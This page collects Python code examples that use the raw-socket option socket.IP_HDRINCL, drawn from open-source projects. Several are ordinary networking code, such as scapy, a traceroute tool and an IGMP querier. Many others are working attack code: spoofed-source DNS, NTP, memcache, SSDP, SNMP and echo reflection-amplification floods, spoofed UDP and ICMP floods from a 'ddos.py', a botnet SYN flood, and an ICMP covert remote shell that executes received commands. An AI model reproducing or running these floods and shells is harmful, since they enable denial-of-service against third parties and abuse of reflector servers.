Python socket.IP_HDRINCL() Examples

The following are code examples for showing how to use socket.IP_HDRINCL(). They are from open source Python projects. You can vote up the examples you like or vote down the ones you don't like.

Example 1
Project: icmp-remote-shell   Author: alex-kostirin   File: common.py    MIT License 6 votes vote down vote up
def start_sniffing(host, log_file):
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    s.bind((host, 0))
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    print("Sniffer Started.....")
    while True:
        try:
            data = s.recvfrom(65565)
            d1 = data[0]
            if bytearray(d1)[20] != ICMP_ECHO_REQUEST_TYPE:
                continue
            d1 = str(d1)
            data1 = re.search('@@(.*)\'', d1)
            data_part = data1.group(0)
            data_part = data_part[:len(data_part) - 1]
            writer(data_part, log_file)
            print("Command output:", reader(log_file))
        except:
            pass 
Example 2
Project: bane   Author: AlaBouali   File: ddos.py    MIT License 6 votes vote down vote up
def run(self):
  global dnsamplif_counter
  self.speed=speed
  self.target=target
  self.port=port
  self.query=query
  time.sleep(2)
  while (stop!=True):
   try:
    ip=random.choice(dnsl)
    packet= IP(src=self.target, dst=ip) / UDP(sport=self.port,dport=53) / DNS(rd=1, qd=DNSQR(qname=random.choice(domainl), qtype=self.query))
    s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    packet=bytes(packet)
    s.sendto(packet,(ip,53))
    dnsamplif_counter+=1
    if prints==True:
     print ("[!]Packets sent: {} | IP: {}".format(dnsamplif_counter,ip))
   except Exception as e:
    pass
   time.sleep(self.speed) 
Example 3
Project: bane   Author: AlaBouali   File: ddos.py    MIT License 6 votes vote down vote up
def run(self):
  global ntpamplif_counter
  self.speed=speed
  self.target=target
  self.port=port
  time.sleep(2)
  while (stop!=True):
   try:
    ip=random.choice(ntpl)
    packet=IP(src=self.target, dst=ip)/UDP(sport=self.port,dport=123)/Raw(load='\x17\x00\x02\x2a'+'\x00'*4)
    s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    packet=bytes(packet)
    s.sendto(packet,(ip,123))
    ntpamplif_counter+=1
    if prints==True:
     print ("[!]Packets sent: {} | IP: {}".format(ntpamplif_counter,ip))
   except Exception as e:
    pass
   time.sleep(self.speed) 
Example 4
Project: bane   Author: AlaBouali   File: ddos.py    MIT License 6 votes vote down vote up
def run(self):
  global memcacheamplif_counter
  self.speed=speed
  self.target=target
  self.port=port
  time.sleep(2)
  while (stop!=True):
   try:
    ip=random.choice(meml)
    packet=IP(src=self.target, dst=ip)/UDP(sport=self.port,dport=11211)/Raw(load="\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n")
    s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    packet=bytes(packet)
    s.sendto(packet,(ip,11211))
    memcacheamplif_counter+=1
    if prints==True:
     print ("[!]Packets sent: {} | IP: {}".format(memcacheamplif_counter,ip))
   except Exception as e:
    pass
   time.sleep(self.speed) 
Example 5
Project: bane   Author: AlaBouali   File: ddos.py    MIT License 6 votes vote down vote up
def run(self):
  global ssdpamplif_counter
  self.speed=speed
  self.target=target
  self.port=port
  time.sleep(2)
  while (stop!=True):
   try:
    ip=random.choice(ssdpl)
    packet=IP(src=self.target, dst=ip)/UDP(sport=self.port,dport=1900)/Raw(load='M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nMAN: "ssdp:discover"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n')
    s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    packet=bytes(packet)
    s.sendto(packet,(ip,1900))
    ssdpamplif_counter+=1
    if prints==True:
     print ("[!]Packets sent: {} | IP: {}".format(ssdpamplif_counter,ip))
   except Exception as e:
    pass
   time.sleep(self.speed) 
Example 6
Project: bane   Author: AlaBouali   File: ddos.py    MIT License 6 votes vote down vote up
def run(self):
  global snmpamplif_counter
  self.target=target
  self.speed=speed
  self.port=port
  time.sleep(2)
  while (stop!=True):
   try:
    ip=random.choice(snmpl)
    packet=IP(src=self.target, dst=ip)/UDP(sport=self.port,dport=161)/Raw(load='\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01\x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06\x01\x02\x01\x05\x00')
    s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    packet=bytes(packet)
    s.sendto(packet,(ip,161))
    snmpamplif_counter+=1
    if prints==True:
     print ("[!]Packets sent: {} | IP: {}".format(snmpamplif_counter,ip))
   except Exception as e:
    pass
   time.sleep(self.speed) 
Example 7
Project: fdslight   Author: fdslight   File: traffic_pass.py    BSD 2-Clause "Simplified" License 6 votes vote down vote up
def init_func(self, creator_fd):
        self.__creator_fd = creator_fd
        self.__sent = []

        family = socket.AF_INET

        s = socket.socket(family, socket.SOCK_RAW, socket.IPPROTO_UDP | socket.IPPROTO_ICMP | socket.IPPROTO_UDP | 136)
        s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        s.setblocking(0)

        self.__socket = s
        self.set_fileno(s.fileno())
        self.register(self.fileno)
        self.add_evt_read(self.fileno)

        return self.fileno 
Example 8
Project: querierd   Author: machinekoder   File: __init__.py    GNU General Public License v2.0 6 votes vote down vote up
def __init__(self, source_address, interval):
        if os.getuid() != 0:
            raise RuntimeError('You must be root to create a Querier.')
        self.source_address = source_address
        self.interval = interval
        self.socket = sock = socket.socket(socket.AF_INET,
                                           socket.SOCK_RAW,
                                           socket.IPPROTO_RAW)
        time.sleep(1)  # Can't set options too soon (???)
        sock.settimeout(5)
        sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        sock.bind((source_address, 0))
        self.build_query_packet()
        self.listener = None
        self.elected = True
        self.stop = threading.Event()
        syslog.openlog('querierd') 
Example 9
Project: khala_botnet   Author: noctoid   File: bot.py    GNU General Public License v3.0 6 votes vote down vote up
def tcp_syn(target):

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

        while state == 1:
            packet = create_tcp_syn_packet(target)
            for _ in xrange(100):
                if state != 1:
                    break
                sock.sendto(packet, (target , 0))

        sock.close()
    except: # no root privilege
        os.system('nc ' + target + ' 80')


##################################################################
# MAIN DRIVER
# Starts the worm driver and the bot driver
################################################################## 
Example 10
Project: piescan   Author: m57   File: piescan.py    BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def sniffer_thread(target):

    sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    sniffer.bind(("0.0.0.0", 0 ))
    sniffer.settimeout(5)
    sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

    # continually read in packets and parse their information
    while ( 1 ):
	try:
	        raw_buffer = sniffer.recvfrom(65565)[0]
        
	except:
		if (SNIFF_MUTEX == 0):
			sys.exit(1)

	ip_header = raw_buffer[0:20]
	dst_port = struct.unpack(">h", raw_buffer[0x32:0x34])[0]
        iph = struct.unpack('!BBHHHBBH4s4s' , ip_header)

        # Create our IP structure
        version_ihl = iph[0]
        ihl = version_ihl & 0xF
        iph_length = ihl * 4
        src_addr = socket.inet_ntoa(iph[8]);

        # Create our ICMP structure
        buf = raw_buffer[iph_length:iph_length + ctypes.sizeof(ICMP)]
        icmp_header = ICMP(buf)

        # check for the type 3 and code and within our target subnet
        if icmp_header.code == 3 and icmp_header.type == 3 and src_addr == target:
		if dst_port not in ports_ident["closed"]:
			ports_ident["closed"].append(dst_port) 
Example 11
Project: CyberScan   Author: medbenali   File: supersocket.py    GNU General Public License v3.0 5 votes vote down vote up
def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):
        self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
        if iface is not None:
            self.ins.bind((iface, type)) 
Example 12
Project: icmp-remote-shell   Author: alex-kostirin   File: server.py    MIT License 5 votes vote down vote up
def main():
    args = parse_args()
    host = args.host
    ping_delay = args.ping_delay
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    s.bind((host, 0))
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    #  s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
    print("Server Started......")
    while True:
        # while 1:
        data = s.recvfrom(65565)
        d1 = data[0]
        if bytearray(d1)[20] != ICMP_ECHO_REQUEST_TYPE:
            continue
        d1 = str(d1)
        data1 = re.search('@@(.*)', d1)
        command = data1.group(0)
        cmd = command[2:len(command) - 1]
        d = data[1]
        d1 = str(d)
        ip = d1[2:-5]
        # print ip
        print(cmd)  # Holding the command to execute
        print(ip)  # Holding the destination address to send the ping
        output = execute(cmd)
        for line in output.readlines():
            send_one(ip, ping_delay, line) 
Example 13
Project: traceflow   Author: rucarrol   File: socket_handler.py    BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def __init__(self, daddr):
        try:
            self.raw_sock = socket.socket(
                socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW
            )
        except PermissionError as e:
            print(e)
            print("Please run as root!")
            exit(1)
        self.ip_daddr = daddr
        os_release = platform.system()
        if os_release == "Darwin":
            # Boned. TODO: Work on fixing this.
            print("Detected Mac OS - Cannot support writing of raw IP packets, exiting")
            exit(1)
        if os_release.endswith("BSD"):
            # BSD - Need to explicit set IP_HDRINCL.
            # BSD - Need to explicitly calculate IP total length
            self.raw_sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
            logging.debug("Detected a BSD")
        if os_release == "Linux":
            # Linux - No need to set IP_HDRINCL,as setting SOCK_RAW auto sets this. However should be explicit in settings.
            self.raw_sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
            logging.debug("Detected Linux")
        if os_release == "Windows":
            # No idea - No ability to test. Maybe abort?
            # TODO: Find testers?
            logging.debug("Detected NT")
            print("Untested on Windows - Exiting")
            exit(1) 
Example 14
Project: CVE-2016-6366   Author: RiskSense-Ops   File: supersocket.py    MIT License 5 votes vote down vote up
def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):
        self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) 
Example 15
Project: scapy   Author: secdev   File: supersocket.py    GNU General Public License v2.0 5 votes vote down vote up
def __init__(self, type=ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):  # noqa: E501
        self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)  # noqa: E501
        self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))  # noqa: E501
        if iface is not None:
            self.ins.bind((iface, type)) 
Example 16
Project: scapy   Author: secdev   File: native.py    GNU General Public License v2.0 5 votes vote down vote up
def nonblock_recv(self, x=MTU):
        return self.recv()

    # https://docs.microsoft.com/en-us/windows/desktop/winsock/tcp-ip-raw-sockets-2  # noqa: E501
    # - For IPv4 (address family of AF_INET), an application receives the IP
    # header at the front of each received datagram regardless of the
    # IP_HDRINCL socket option.
    # - For IPv6 (address family of AF_INET6), an application receives
    # everything after the last IPv6 header in each received datagram
    # regardless of the IPV6_HDRINCL socket option. The application does
    # not receive any IPv6 headers using a raw socket. 
Example 17
Project: scuttle   Author: tetrakai   File: scuttle.py    BSD 2-Clause "Simplified" License 5 votes vote down vote up
def create_socket(sock_type):
  sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, sock_type)
  sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
  return sock 
Example 18
Project: bane   Author: AlaBouali   File: amplifier.py    MIT License 5 votes vote down vote up
def memcache_factor(u,timeout=3):
 """
calculate the amplification factor for any given memcache server
 """
 #creating the payload
 req = IP(dst=u)/UDP(sport=random.randint(1025,65500),dport=11211)/Raw(load="\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n")
 s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)#creating a raw socket
 s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
 s.sendto(bytes(req),(u,11211))
 s.settimeout(timeout)#set timeout
 d=''
 while True:
  try:
   o=''
   o+=str(s.recv(4096))
  except KeyboardInterrupt:
   s.close()
   break
  except:
   pass
  if len(o)==0:
   break
  else:
   d+=o
 a=len(req)
 b=len(d)
 c=round(((len(d)*1.)/len(req)),3)
 return {'protocol':'memcache','ip':u,'sent':a,'received':b,'amplification_factor':c} 
Example 19
Project: bane   Author: AlaBouali   File: amplifier.py    MIT License 5 votes vote down vote up
def dns_factor(u,timeout=3,q='google.com',t='ANY'):
 #q: the domain name to resolve
 #t: the dns query type
 """
calculate the amplification factor for any given dns server
 """
 req = IP(dst=u)/UDP(sport=random.randint(1025,65500),dport=53)/DNS(rd=1, qd=DNSQR(qname=q,qtype=t))
 s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
 s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
 s.sendto(bytes(req),(u,53))
 s.settimeout(timeout)
 d=''
 while True:
  try:
   o=''
   o+=str(s.recv(4096))
  except KeyboardInterrupt:
   s.close()
   break
  except:
   pass
  if len(o)==0:
   break
  else:
   d+=o
 a=len(req)
 b=len(d)
 c=round(((len(d)*1.)/len(req)),3)
 return {'protocol':'dns','ip':u,'sent':a,'received':b,'amplification_factor':c} 
Example 20
Project: bane   Author: AlaBouali   File: amplifier.py    MIT License 5 votes vote down vote up
def chargen_factor(u,timeout=3,q='0'):
 #q: the character to send
 """
calculate the amplification factor for any given chargen server
 """
 req = IP(dst=u)/UDP(sport=random.randint(1025,65500),dport=19)/q
 s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
 s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
 s.sendto(bytes(req),(u,19))
 s.settimeout(timeout)
 d=''
 while True:
  try:
   o=''
   o+=str(s.recv(4096))
  except KeyboardInterrupt:
   s.close()
   break
  except:
   pass
  if len(o)==0:
   break
  else:
   d+=o
 a=len(req)
 b=len(d)
 c=round(((len(d)*1.)/len(req)),3)
 return {'protocol':'chargen','ip':u,'sent':a,'received':b,'amplification_factor':c} 
Example 21
Project: bane   Author: AlaBouali   File: amplifier.py    MIT License 5 votes vote down vote up
def ntp_factor(u,timeout=3):
 """
calculate the amplification factor for any given ntp server
 """
 req = IP(dst=u)/UDP(sport=random.randint(1025,65500),dport=123)/Raw(load='\x17\x00\x02\x2a'+'\x00'*4)
 s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
 s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
 s.sendto(bytes(req),(u,123))
 s.settimeout(timeout)
 d=''
 while True:
  try:
   o=''
   o+=str(s.recv(4096))
  except KeyboardInterrupt:
   s.close()
   break
  except:
   pass
  if len(o)==0:
   break
  else:
   d+=o
 a=len(req)
 b=len(d)
 c=round(((len(d)*1.)/len(req)),3)
 return {'protocol':'ntp','ip':u,'sent':a,'received':b,'amplification_factor':c} 
Example 22
Project: bane   Author: AlaBouali   File: amplifier.py    MIT License 5 votes vote down vote up
def ssdp_factor(u,timeout=3):
 """
calculate the amplification factor for any given ssdp server
 """
 req = IP(dst=u)/UDP(sport=random.randint(1025,65500),dport=1900)/Raw(load='M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nMAN: "ssdp:discover"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n')
 s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
 s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
 s.sendto(bytes(req),(u,1900))
 s.settimeout(timeout)
 d=''
 while True:
  try:
   o=''
   o+=str(s.recv(4096))
  except KeyboardInterrupt:
   s.close()
   break
  except:
   pass
  if len(o)==0:
   break
  else:
   d+=o
 a=len(req)
 b=len(d)
 c=round(((len(d)*1.)/len(req)),3)
 return {'protocol':'ssdp','ip':u,'sent':a,'received':b,'amplification_factor':c} 
Example 23
Project: bane   Author: AlaBouali   File: amplifier.py    MIT License 5 votes vote down vote up
def echo_factor(u,q='a',timeout=3):
 """
calculate the amplification factor for any given echo server
 """
 req=IP( dst=u)/UDP(sport=random.randint(1025,65500),dport=7)/Raw(load=q)
 s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
 s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
 s.sendto(bytes(req),(u,7))
 s.settimeout(timeout)
 d=''
 while True:
  try:
   o=''
   o+=str(s.recv(4096))
  except KeyboardInterrupt:
   s.close()
   break
  except:
   pass
  if len(o)==0:
   break
  else:
   d+=o
 a=len(req)
 b=len(d)
 c=round(((len(d)*1.)/len(req)),3)
 return {'protocol':'echo','ip':u,'sent':a,'received':b,'amplification_factor':c} 
Example 24
Project: bane   Author: AlaBouali   File: ddos.py    MIT License 5 votes vote down vote up
def run(self):
  global udpstorm_counter
  self.speed=speed
  self.target=target
  self.port=port
  self.maxttl=maxttl
  self.minttl=minttl
  self.minsize=minsize
  self.maxsize=maxsize
  self.ip_seg=ip_seg
  self.s_port=s_port
  self.min_por=min_por
  self.max_por=max_por
  time.sleep(2)
  while (stop!=True):
   try:
    if self.s_port<0:
     sp=random.randint(self.min_por,self.max_por)
    else:
     sp=self.s_port
    msg=''
    for x in range(random.randint(self.minsize,self.maxsize)):
     msg+=random.choice(lis)
    if len(msg)>1400:
     msg=msg[0:1400]
    if self.ip_seg==None:
     sip=getip()
    else:
     sip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
    packet = IP(ttl=random.randint(self.minttl,self.maxttl),src=sip, dst=self.target)/UDP(sport=sp,dport=self.port)/msg
    s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    packet=bytes(packet)
    s.sendto(packet,(self.target,self.port))
    udpstorm_counter+=1
    if prints==True:
     print("[!]Packets: {} | IP: {} | Type: UDP | Bytes: {}".format(udpstorm_counter,sip,len(packet)))
   except:
    pass
   time.sleep(self.speed) 
Example 25
Project: bane   Author: AlaBouali   File: ddos.py    MIT License 5 votes vote down vote up
def run(self):
  global echo_ref_counter
  self.target=target
  self.minsize=minsize
  self.maxsize=maxsize
  self.speed=speed
  self.port=port
  time.sleep(2)
  while (stop!=True):
   data=''
   for x in range(random.randint(self.minsize,self.maxsize)):
    data +=random.choice(lis)
   if len(data)>1400:
    data=data[0:1400]
   try:
    ip=random.choice(pingl)
    packet=IP(src=self.target, dst=ip)/UDP(sport=self.port,dport=7)/Raw(load=data)
    s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    packet=bytes(packet)
    s.sendto(packet,(ip,port))
    echo_ref_counter+=1
    if prints==True:
     print("[!]Packets sent: {} | IP: {} | Bytes: {}".format(echo_ref_counter,ip,len(data)))
   except Exception as e:
    pass
   time.sleep(self.speed) 
Example 26
Project: bane   Author: AlaBouali   File: ddos.py    MIT License 5 votes vote down vote up
def run(self):
  global icmp_counter
  self.speed=speed
  self.minsize=minsize
  self.maxsize=maxsize
  self.target=target
  self.port=port
  self.minttl=minttl
  self.maxttl=maxttl
  time.sleep(2)
  while (stop!=True):
   data=''
   for x in range(random.randint(self.minsize,self.maxsize)):
     data +=random.choice(lis)
   if len(data)>1400:
    data=data[0:1400]
   try:
    packet=IP(ttl=random.randint(self.minttl,self.maxttl),dst=self.target)/ICMP()/data
    s= socket.socket(socket.AF_INET, socket.SOCK_RAW, 1)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    packet=bytes(packet)
    s.sendto(packet,(self.target,self.port))
    icmp_counter+=1
    if prints==True:
     print("[!]Packets sent: {} | Bytes: {}".format(icmp_counter,len(data)))
   except Exception as e:
    pass
   time.sleep(self.speed) 
Example 27
Project: bane   Author: AlaBouali   File: ddos.py    MIT License 5 votes vote down vote up
def run(self):
  global icmpstorm_counter
  self.speed=speed
  self.target=target
  self.port=port
  self.minttl=minttl
  self.maxttl=maxttl
  self.minsize=minsize
  self.maxsize=maxsize
  self.ip_seg=ip_seg
  time.sleep(2)
  while (stop!=True):
   data=''
   for x in range(random.randint(self.minsize,self.maxsize)):
     data +=random.choice(lis)
   if len(data)>1400:
    data=data[0:1400]
   try:
    if self.ip_seg==None:
     sip=getip()
    else:
     sip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
    packet=IP(ttl=random.randint(self.minttl,self.maxttl),src=sip,dst=self.target)/ICMP()/data
    s= socket.socket(socket.AF_INET, socket.SOCK_RAW, 1)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    packet=bytes(packet)
    s.sendto(packet,(self.target,self.port))
    icmpstorm_counter+=1
    if prints==True:
     print("[!]Packets sent: {} | IP: {} | Bytes: {}".format(icmpstorm_counter,sip,len(data)))
   except Exception as e:
    pass
   time.sleep(self.speed) 
Example 28
Project: Offensive-Security-Certified-Professional   Author: StevenDias33   File: host-scanner-via-udp.py    MIT License 5 votes vote down vote up
def main(argv):
    global BIND

    if len(argv) < 3:
        print('Usage: ./udp-scan.py <bind-ip> <target-subnet>')
        sys.exit(1)

    bindAddr = sys.argv[1]
    subnet = sys.argv[2]

    sockProto = None
    if os.name == 'nt':
        sockProto = socket.IPPROTO_IP
    else:
        sockProto = socket.IPPROTO_ICMP

    sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, sockProto)
    if DEBUG: print('[.] Binding on {}:0'.format(bindAddr))
    sniffer.bind((bindAddr, 0))

    # Include IP headers in the capture
    sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

    # In Windows, set up promiscous mode.
    if os.name == 'nt':
        try:
            sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
        except socket.error, e:
            print('[!] Could not set promiscous mode ON: "{}"'.format(str(e)))

    # Sending thread 
Example 29
Project: peach   Author: MozillaSecurity   File: raw.py    Mozilla Public License 2.0 5 votes vote down vote up
def connect(self):
        if self._socket is not None:
            # Close out old socket first
            self._socket.close()
        # Include IP headers
        self._socket = socket.socket(socket.AF_INET,
                                     socket.SOCK_RAW,
                                     socket.IPPROTO_RAW)
        self._socket.bind((self._interface, 0))
        self._socket.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 
Example 30
Project: trex-http-proxy   Author: alwye   File: supersocket.py    MIT License 5 votes vote down vote up
def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):
        self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
        if iface is not None:
            self.ins.bind((iface, type)) 
Example 31
Project: trex-http-proxy   Author: alwye   File: supersocket.py    MIT License 5 votes vote down vote up
def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):
        self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
        if iface is not None:
            self.ins.bind((iface, type)) 
Example 32
Project: isip   Author: halit   File: supersocket.py    MIT License 5 votes vote down vote up
def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):
        self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
        if iface is not None:
            self.ins.bind((iface, type))